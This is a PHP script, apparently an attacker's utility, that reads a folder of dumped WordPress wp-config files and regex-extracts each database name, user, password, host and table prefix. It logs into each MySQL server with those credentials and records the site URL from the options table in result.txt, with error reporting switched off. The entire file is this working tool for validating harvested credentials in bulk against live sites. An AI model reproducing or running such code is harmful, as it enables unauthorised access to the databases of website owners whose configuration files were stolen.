<?php
error_reporting(0);

$dbhost = "";
$dbuser = "";
$dbpassword = "";
$dbname = "";
$prefix = "";

$wp_file_path = "result.txt";

$files = glob("*.txt");
//var_dump ($files);

foreach ($files as $file){

$data = file_get_contents($file);
preg_match("/DB_NAME\'\, \'(.+?)\'\);/", $data, $m );
$dbname = $m[1];
//echo $dbname;

preg_match("/DB_USER\'\, \'(.+?)\'\);/", $data, $m );
$dbuser = $m[1];
//echo $dbuser;

preg_match("/DB_PASSWORD\'\, \'(.+?)\'\);/", $data, $m );
$dbpassword = $m[1];
//echo $dbpassword;

preg_match("/DB_HOST\'\, \'(.+?)\'\);/", $data, $m );
$dbhost = $m[1];
//echo $dbhost;

preg_match("/table_prefix  = \'(.+?)\';/", $data, $m );
$prefix = $m[1];
//echo $prefix;




$port = 3306;
if( strstr($dbhost,':') ){
    $parts = explode(':', $dbhost);
    $dbhost = $parts[0];
    $port = $parts[1];
}

$conn = mysqli_connect($dbhost, $dbuser, $dbpassword, $dbname, $port);
if (mysqli_connect_errno())
   {
   #echo "Failed to connect to MySQL";
    echo "Error:".mysqli_connect_error();
   }
else
{


$sql = "SELECT option_value FROM ".$prefix."options WHERE option_id = 1";
$result = $conn->query($sql);
if(!$result)
{
#echo "owi6ka";
}
else
{


while ($row = $result->fetch_assoc()) {
    echo $row['option_value']."<br>";
    file_put_contents($wp_file_path, $row['option_value']."\n", FILE_APPEND);
}
}


$conn->close();
}
}